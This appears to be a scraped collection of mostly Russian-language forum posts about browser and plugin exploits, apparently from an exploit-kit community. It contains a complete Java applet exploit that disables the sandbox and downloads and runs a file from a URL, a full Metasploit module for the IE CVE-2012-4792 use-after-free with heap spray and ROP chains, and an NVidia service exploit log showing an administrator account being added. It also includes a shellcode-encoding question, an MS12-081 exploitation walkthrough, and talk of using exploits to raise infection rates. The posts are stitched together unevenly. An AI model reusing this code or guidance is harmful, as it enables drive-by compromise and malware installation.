Microsoft Windows Media Player 9 when installed on Windows 2000 Service Pack 4
or Windows XP Service Pack 1:
http://www.microsoft.com/downloads/details...EF-1797B52D0B4B
Microsoft Windows Media Player 10 when installed on Windows XP Service Pack 1
or Windows XP Service Pack 2:
http://www.microsoft.com/downloads/details...24-D2316A96B411
:zns2: производитель
A fragmented IPv6 packet can freeze a system that has Kaspersky Internet Security 2013 installed.
Click to expand...
I usually do not write security advisories unless absolutely necessary.
This time I should, however I have neither the time, nor the desire to
do so.
But Kaspersky did not react, so ... quick and dirty:Kaspersky Internet Security 2013 (and any other Kaspersky product which
includes the firewall funcionality) is susceptible to a remote system
freeze.
As of the 3rd March 2013, the bug is still unfixed.If IPv6 connectivity to a victim is possible (which is always the case
on local networks), a fragmented packet with multiple but one large
extension header leads to a complete freeze of the operating system.
No log message or warning window is generated, nor is the system able to
perform any task.To test:
1. download the thc-ipv6 IPv6 protocol attack suite for Linux from
www.thc.org/thc-ipv6
2. compile the tools with "make"
3. run the following tool on the target:
firewall619
where interface is the network interface (e.g. eth0)
target is the IPv6 address of the victim (e.g. ff02::1)
port is any tcp port, doesnt matter which (e.g. 80)
and 19 is the test case number.
The test case numbers 18, 19, 20 and 21 lead to a remote system freeze.Solution: Remove the Kaspersky Anti-Virus NDIS 6 Filter from all network
interfaces or uninstall the Kaspersky software until a fix is provided.The bug was reported to Kaspersky first on the 21st January 2013, then
reminded on the 14th Feburary 2013.
No feedback was given by Kaspersky, and the reminder contained a warning
that without feedback the bug would be disclosed on this day. So here we
are.Greets,
Marc Heuse--
Marc Heuse
www.mh-sec.dePGP: FEDD 5B50 C087 F8DF 5CB9 876F 7FDD E533 BF4F 891A
Click to expand...
Если кто пропустил, то опубликовали планы мозиллы на следующие релизы
фаерфокса. Процесс ужесточения политики по плагинам будет произведена в два
шага
- Сначала закроют все старые уязвимые версии флеша <=10.2.*, потом будут
добавляться более новые уязвимые версии, текущую закрывать не будут (понятно,
что текущая будет меняться с выходом новых релизов флеша)
- Потом Click to play будет введен на последние версии Silverlight, Java и
Acrobat Reader + все остальные плагины.
[https://blog.mozilla.org/security/2013/01/2...rol-of- plugins/](https://blog.mozilla.org/security/2013/01/29/putting-users-in- control-of-plugins/)
Итого либо зиродей под флеш, либо баги самого файерфокса, на последнии версии лучше до связки не допускать думаю (никто не поделится статой по версиям файерфокса в трафе, не так уныло как в хроме, надеюсь?). Когда введут молчаливый автоапдейт по умолчанию как в хроме, будет совсем грустно думаю.
Как преобразовать код вида
Code:Copy to clipboard
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b
в вид
Code:Copy to clipboard
%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a
так как сплойт утек в паблик, выкладываю свой вариант вместе с обходом high level security:
Сам .class:
Code:Copy to clipboard
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.MalformedInputException;
import java.io.*;
import java.applet.*;
import java.lang.*;
import com.sun.jmx.mbeanserver.*;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
public class Exploit extends Applet
{
private Method getMethod(Class classObject, String methodName, boolean onlyNullArgs)
{
try
{
Method[] methods = (Method[])Introspector.elementFromComplex((Object)classObject, "declaredMethods");
for(Method method : methods)
{
String name = method.getName();
Class[] types = method.getParameterTypes();
if(name != methodName)
continue;
if(onlyNullArgs && types.length != 0)
continue;
return method;
}
}
catch(Exception e)
{
e.printStackTrace();
}
return null;
}
public void start()
{
try
{
Class classContext = loadClass(@"sun.org.mozilla.javascript.internal.Context");
Class classDefiningClassLoader = loadClass(@"sun.org.mozilla.javascript.internal.DefiningClassLoader");
Method methodContextEnter = getMethod(classContext, @"enter", true);
Object ctx = methodContextEnter.invoke(null);
Method methodContextCreateClassLoader = getMethod(classContext, @"createClassLoader", false);
Object classLoader = methodContextCreateClassLoader.invoke(ctx, new Object[]{null});
// DisableSecurity.class bytecode
String s = "CAFEBABE00000033002D0A0007001B0A001C001D07001E0A0003001F0A002000210700220700230700240100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100294C6A6176612F73656375726974792F50726976696C65676564416374696F6E457863657074696F6E3B0100047468697301000A4C44697361626C65723B01000D537461636B4D61705461626C6507002207001E01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A457863657074696F6E7307002501000A536F7572636546696C6501000D44697361626C65722E6A6176610C0009000A0700260C002700280100276A6176612F73656375726974792F50726976696C65676564416374696F6E457863657074696F6E0C0029000A07002A0C002B002C01000844697361626C65720100106A6176612F6C616E672F4F626A6563740100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E0100136A6176612F6C616E672F457863657074696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B01000F7072696E74537461636B54726163650100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B2956002100060007000100080000000200010009000A0001000B0000007800010002000000122AB700012AB8000257A700084C2BB60004B1000100040009000C00030003000C0000001A0006000000070004000A0009000F000C000C000D000E00110010000D000000160002000D0004000E000F0001000000120010001100000012000000100002FF000C00010700130001070014040001001500160002000B00000034000100010000000601B8000501B000000002000C0000000A00020000001400040016000D0000000C000100000006001000110000001700000004000100180001001900000002001A";
byte[] byteCode = hex2str(s);
Method methodClassLoaderDefineClass = getMethod(classDefiningClassLoader, @"defineClass", false);
Class securityDisabler = (Class)methodClassLoaderDefineClass.invoke(classLoader, null, byteCode);
securityDisabler.newInstance();
String url = this.getParameter("j329");
run(url);
}
catch(ReflectionException e)
{
e.printStackTrace();
}
catch(Exception e)
{
e.printStackTrace();
}
}
private byte[] loadByteCode(String name) throws IOException
{
byte[] temp = new byte[8149];
ByteArrayOutputStream outStream = new ByteArrayOutputStream();
InputStream inStream = getClass().getResourceAsStream(name);
int length;
while((length = inStream.read(temp)) > 0)
{
outStream.write(temp, 0, length);
}
return outStream.toByteArray();
}
private Class loadClass(String name) throws ReflectionException
{
ClassLoader a = null;
JmxMBeanServer server = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator instatiator = server.getMBeanInstantiator();
return instatiator.findClass(name, a);
}
private static byte[] hex2str(String s)
{
byte[] buffer = new byte[s.length()/2];
for(int i = 0; i < s.length(); i+=2)
{
byte n = (byte)((Character.digit(s.charAt(i), 16) << 4) + (Character.digit(s.charAt(i+1), 16)));
buffer[i/2] = n;
}
return buffer;
}
public void run(String url)
{
try
{
String file = download(url);
if(file != "")
{
execute(file);
}
}
catch(Exception e) {}
return;
}
private static String getTempPath() throws IOException
{
File temp = File.createTempFile("aux-fn-ajkgh", ".tmp");
return temp.getAbsolutePath();
}
private void execute(String file) throws IOException
{
Runtime.getRuntime().exec(file);
}
private String download(String path)
{
try
{
URL url = new URL(path);
URLConnection link = url.openConnection();
File file = new File(getTempPath());
BufferedInputStream streamInput = new BufferedInputStream(link.getInputStream());
BufferedOutputStream streamOutput = new BufferedOutputStream(new FileOutputStream(file));
byte[] buffer = new byte[1024];
while(true)
{
int cnt = streamInput.read(buffer);
if(cnt == -1)
{
break;
}
streamOutput.write(buffer, 0, cnt);
}
streamOutput.flush();
streamOutput.close();
return file.getAbsolutePath();
}
catch(Exception e){}
return "";
}
}
Сериализация:
Code:Copy to clipboard
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerApplet
{
public static void main(String args[]) throws IOException
{
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
Exploit ts = new Exploit();
ts.stop();
oos.writeObject(ts);
FileOutputStream fos=new FileOutputStream("Exploit.ser");
fos.write(baos.toByteArray());
fos.close();
}
}
Компилируем оба класса, Exploit.class сохраняем. Далее делаем джарник для сериализатора
%JDK_PATH%\bin\jar.exe -cfe s.jar SerApplet *.class
Запускаем джарник сериализатора и получаем Exploit.ser.
Для использования нужно положить в корень Exploit.class и Exploit.ser, для
запуска используем вот такой html
Code:Copy to clipboard
<html><head></head>
<body>
<applet object="Exploit.ser" width="1" height="1">
</applet></body></html>
Обход защиты паролем на доступ к телефону.
Видео с
youtube.com, в котором показанно как совершить это действие. Смотрим, тестим,
отписываемся о результатах..)))
http://www.oracle.com/technetwork/topics/s...13-1841061.html
запатчено 50 уязвимостей, судя по предпатчевым новостям должно быть как минимум пару эксплуатируемых баг, причем одна покрывает как 6 так и 7 ветку одновременно.
хоть в этом патче [http://www.oracle.com/technetwork/topics/s...22-1896849.html](http://www.oracle.com/technetwork/topics/security/alert- cve-2013-0422-1896849.html) был повышен [Security Level](http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/client- security.html) и теперь аплеты запускаются только с разрешения пользователя, но все это распространяется только на 7 яву.
[http://blogs.computerworld.com/cybercrime-...ava-7-update-11](http://blogs.computerworld.com/cybercrime- and-hacking/21664/understanding-new-security-java-7-update-11)
To put this in perspective, these security rules/levels only apply to Java programs embedded in web pages. The use of Java by installed applications remains totally unregulated. Also, the security rules only apply to Java version 7, they were not implemented in Java version 6.
Click to expand...
к тому же я сам поставил последний 6u39 и по заходил на ява чекалки
http://www.atcsim.nasa.gov/version/index.html
http://javatester.org/version.html
никаких алертов не вылетало, а значит стоит уделить время диффу изменений в rt.jar, глядишь получится найти и реализовать 1day и чуть чуть подтянуть пробив по 6 ветки, которой до сих пор надо сказать достаточно.
если у кого то получиться что то найти, напишите, я заинтересован
**Сюрприз из kernel32 для сетевых ресурсов (MS12-081, детальный разбор уязвимости в Microsoft File Handling Component)
Одиннадцатого декабря прошлого года вышел бюллетень Microsoft, связанный с уязвимостью, обнаруженной в Microsoft File Handling Component. Уязвимости был присвоен ранг критической и категория Remote code execution.**
Одиннадцатого декабря прошлого года вышел бюллетень Microsoft, связанный с уязвимостью, обнаруженной в Microsoft File Handling Component. Уязвимости был присвоен ранг критической и категория Remote code execution. Удаленное выполнение кода происходит при открытии жертвой общего сетевого ресурса с содержимым, сформированным злоумышленником особым образом. Подробности эксплуатации приводятся в данном отчете.
Результаты, были получены на Windows XP SP3 x86. Сама уязвимость находится в функциях FindFirstFileExW и FindNextFileExW библиотеки kernel32.dll, которые осуществляют копирование данных, полученных из нативной функции NtQueryDirectoryFile, с помощью memmove. Проблема заключается в том, что в качестве размера буфера-источника для функции копирования передается число, полученное из NtQueryDirectoryFile, хотя возможна ситуация, при которой размер буфера-приемника может быть меньше, чем результат выдачи NtQueryDirectoryFile.
Влияние данной уязвимости распространяется на все приложения, использующие функции семейства FindFirstFile/FindNextFile. Первым таким приложением, которое пришло мне в голову, было explorer.exe. Для эксплуатации злоумышленнику достаточно будет заставить пользователя открыть ссылку на зловредный ресурс, и при удачном исходе он сможет получить возможность исполнить код с правами пользователя, открывшего ссылку. Сценарий удаленной эксплуатации, как подсказывает раздел FAQ бюллетеня Microsoft, возможен через UNC share или через WebDAV-путь. Путь UNC (Universal Naming Convention) может указывать на сетевой ресурс обмена файлами, который работает на основе протокола SMB. Для теста был выбран Linux с сервисом Samba, который позволяет создавать «расшаренные» папки на основе этого протокола. В итоге хотелось смоделировать следующую схему удаленной атаки.
На платформе Linux существует схожее ограничение (только не на длину пути, а на длину имени файла), равное 255 символам. Для того чтобы передать уязвимой Windows-машине листинг каталога с именами файлов, длина которых превышает 255 символов, можно просто поправить исходники Samba-сервера. Одним из мест внедрения вредоносного имени может быть функция smbd_marshall_dir_entry из trans2.c (Samba 3.6.6), которая частично формирует выдачу сервера. Для первого теста имя файлов выдачи расширялось на 0x100 байт и заполнялось константой 0xfeeddead. При попытке зайти на модифицированный сервер с уязвимой машины можно наблюдать следующую картину.
Как видно на скриншоте, explorer.exe попытался прочесть dword по адресу из подконтрольного регистра EDX. Прочитанное значение участвует в формировании адреса, по которому происходит вызов. Если подняться по call-стеку на уровень выше, то можно заметить, что первые два параметра функции RecentDocs_Enum являются подконтрольными, к тому же оба они передаются далее. Перезапись этих значений возможна из-за их расположения в куче (схема представлена ниже).
В функции CFSFolder_CreateEnum выделяется память размера 0x498 под экземпляр класса CFileSysEnum; в данном чанке со смещением 0x224 расположена структура WIN32_FIND_DATA. Указатель на данную структуру передается в уязвимую функцию FindFirstFileEx, которая перезаписывает значения, позволяющие осуществить перехват управления.
Для эксплуатации данной уязвимости нужно провести heap spray. Объектами для заполнения кучи в данном случае будут имена файлов, получаемые компонентом CShellBrowser2. Следовательно, для проведения heap spray необходимо создать большое количество файлов на общем сетевом ресурсе. Схема атаки представлена на рисунке ниже. Примечание: в данной схеме не учтена система Data Execution Prevention (DEP); шеллкод, как можно видеть, находится в куче, которая должна быть неисполняемой.
Одна из проблем проведения атаки — фрагментация ответа сервера на несколько SMB-пакетов. В драйвере mrxsmb.sys, который отвечает за работу протокола SMB, есть функция MrxSmbUnalignedDirEntryCopyTail. Данная функция проверяет длину полученных имен, которые передаются в пользовательский режим, и при превышении границы в 0x200 байт выведет ошибку STATUS_INVALID_NETWORK_RESPONSE (0xC00000C3), а получив ошибку, NtQueryDirectoryFile перестанет выдавать имена для FindNextFile.
Эту проверку можно обойти следующим образом. Сначала следует создать набор файлов, которые осуществят heap spray, а потом удалить из каталога все файлы и создать один файл, имя которого будет являться триггером уязвимости. Сервер Samba в случае изменения в файловой системе при подключенном клиенте отправит пакет с функцией NT_NOTIFY, который заставит клиента повторить запрос FIN_FIRST2 на сервер, — получив только одно вредоносное имя. При этом имена файлов, полученных ранее, останутся в памяти. Кроме того, можно контролировать порядок расположения имен, поскольку они отсортированы по имени. Стоит также заметить, что имена, получаемые с Samba-сервера, должны быть уникальными; это можно обеспечить, выделив на уникальный идентификатор 5 байт из основного поля имени файла.
Стоит заметить, что транспорт имен файлов осуществляет взаимодействие по протоколу SMB в двухбайтовом юникоде.
Это накладывает определенные ограничения на адреса, которые перезаписываются на уязвимом клиенте, но поскольку модификация выдачи Samba-сервера происходит уже после конвертации из однобайтового в двухбайтовые символы, эти ограничения несущественны — хотя и вносят некоторую сложность в процесс работы модифицированного сервера. Посылая большой пакет данных, сервер разбивает его на части, а клиент после получения очередной такой части данных выдает серверу имя, начиная с которого ему необходимо продолжить выдачу (см. рис. ниже).
Поскольку при проведении heap spray выдаются нереальные данные, то и имя, с которого надо продолжить выдачу, тоже будет нереальным, и потому необходимо отображать полученное continue_name в реальное имя на сервере, с которого необходимо продолжить.
В итоге полученная конструкция позволяет выполнять код на уязвимой машине с вероятностью приблизительно 1/7. В заключение можно сказать, что уязвимость вполне может быть проэксплуатирована «в дикой природе», хотя для создания боевого эксплойта придется решить проблему с DEP, а также оптимизировать heap spray (для повышения вероятности успешного выполнения).
Источник: www.securitylab.ru
Собственно вот
[http://malware.dontneedcoffee.com/2013/01/...5-cve-2012.html](http://malware.dontneedcoffee.com/2013/01/news-
bullets-cve-2012-0775-cve-2012.html)
по мимо пары сплоитов под ишака http://pastebin.com/WXtgUHA6
XML ( не понятно зачем он вообще нужен ) который описан здесь
http://www.vupen.com/blog/20120717.Advance...89_MS12-043.php
и colspan который располагает возможностью мем лика описанного тут
http://www.vupen.com/blog/20120710.Advance...E-2012-1876.php
а дальше некто реализовал его по этому описанию <http://www.exploit-
db.com/exploits/24017/>
но в там пошли дальше, как я понял, реализовали таблцу роп гаджетов под разные билды ишака, по крайне мере интереный и наверное один из первых случае когда в связках использую эксплоиты такого тех. уровня.
но и это еще не все там же засветили новый пдф ( не одей ), кишки которого
можно посмотреть
http://wepawet.iseclab.org/view.php?hash=f...570837d&type=js
http://wepawet.iseclab.org/view.php?hash=e...349f103&type=js
http://wepawet.iseclab.org/view.php?hash=2...3db432e&type=js
который судя по коду отдают даже для 10 версии, хотя не понятно как ( пока не разбирался еще ), ведь там же сандбокс и аслр ...
собственно реквестирую семпл пдфа, с удовольствием пореверсирую.
зы. не могу сейчас найти, но за долго до этого некто давал мне багу которая используется здесь, но у меня так и не хватило мозгов запустить её, она тупо крашилась после удаления тулбуттона. тогда не стал разбираться, а оказалось что зря.
не прошло и месяца
http://krebsonsecurity[.]com/2013/01/new-jav...5000-per-buyer/
фейк (цена маленькая смущает) ? впрочем если даже правда они врядли обошли попап самой джавы (что в принципе и может быть отражено в цене), если только не подспиздили подпись =)
This Metasploit module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.
Click to expand...
Code:Copy to clipboard
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'juan vazquez',
'sinn3r' #Metasploit
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'US-CERT-VU', '154201' ],
[ 'BID', '57070' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]
],
'Payload' =>
{
'Space' => 980,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0b30
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
if t.name =~ /Windows XP/
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
end
else
print_status("Using JRE ROP")
stack_pivot = [0x7c348b06].pack("V") * 54 # ret
stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
function exploit()
{
var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++)
{
arrObject[i] = document.createElement('div');
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
for (var i = 0; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}
CollectGarbage();
for (var i = 0; i < elmObject.length; i ++)
{
elmObject[i] = document.createElement('button');
}
for (var i = 1; i < arrObject.length; i += 2)
{
arrObject[i].className = null;
}
CollectGarbage();
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i =0; i < 20; i++)
{
arrObject[i].className = unescape("ababababababababababababababababababababa");
}
var eip = window;
var data = "#{Rex::Text.rand_text_alpha(41)}";
eip.location = unescape("%u0b30%u0c0c" + data);
}
</script>
</head>
<body onload="eval(exploit())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end
Code:Copy to clipboard
/*
NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
- Bypass DEP + ASLR + /GS + CoE
=============================================================
(@peterwintrsmith)
Hey all!
Here is an exploit for an interesting stack buffer overflow in the NVidia
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
which has a NULL DACL configured, which should mean that any logged on user
or remote user in a domain context (Windows firewall/file sharing
permitting) should be able to exploit this vulnerability.
The buffer overflow occurs as a result of a bad memmove operation, with the
stack layout effectively looking like this:
[locals]
[received-data]
[response-buf]
[stack cookie]
[return address]
[arg space]
[etc]
The memmove copies data from the received-data buffer into the response-buf
buffer, unchecked. It is possible to control the offset from which the copy
starts in the received-data buffer by embedding a variable length string -
which forms part of the protocol message being crafted - as well as the
number of bytes copied into the response buffer.
The amount of data sent back over the named pipe is related to the number
of bytes copied rather than the maximum number of bytes that the buffer is
able to safely contain, so it is possible to leak stack data by copying
from the end of the received-data buffer, through the response-buf buffer
(which is zeroed first time round, and second time round contains whatever
was in it beforehand), right to the end of the stack frame (including stack
cookie and return address).
As the entire block of data copied is sent back, the stack cookie and
nvvsvc.exe base can be determined using the aforementioned process. The
stack is then trashed, but the function servicing pipe messages won't
return until the final message has been received, so it doesn't matter too
much.
It is then possible to exploit the bug by sending two further packets of
data: One containing the leaked stack cookie and a ROP chain dynamically
generated using offsets from the leaked nvvsvc.exe base (which simply fills
the response-buf buffer when this data is echoed back) and a second packet
which contains enough data to trigger an overwrite if data is copied from
the start of the received-data buffer into the response-buf (including the
data we primed the latter to contain - stack cookie and ROP chain).
Allowing the function to then return leads to execution of our ROP chain,
and our strategically placed Metasploit net user /add shellcode! We get
continuation of execution for free because the process spins up a thread
to handle each new connection, and there are no deadlocks etc.
I've included two ROP chains, one which works against the nvvsvc.exe
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
from the Dell site, and one which works against the latest version of the
drivers for the same card, from:
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
http://www.geforce.co.uk/drivers/results/54709
Hope you find this interesting - it's a fun bug to play with!
- Sample Session -
C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Peter
The command completed successfully.
C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
[@peterwintrsmith]
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
Usage: nvvsvc_expl.exe <ip>|local
!! If exploiting remotely, create a session with the target using your domain credentials !!
Command: net use \\target.ip\ipc$ /u:domain\user password
C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
[@peterwintrsmith]
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
Action 1 of 9: - CONNECT
Action 2 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 3 of 9: - SERVER => CLIENT
Read 16504 (0x4078) characters from pipe
Action 4 of 9: Building exploit ...
=> Stack cookie 0xe2bad48dd565:
=> nvvsvc.exe base 0x13f460000:
Action 5 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 6 of 9: - SERVER => CLIENT
Read 16384 (0x4000) characters from pipe
Action 7 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 8 of 9: - SERVER => CLIENT
Read 16896 (0x4200) characters from pipe
Action 9 of 9: - DISCONNECT
C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Peter
r00t
The command completed successfully.
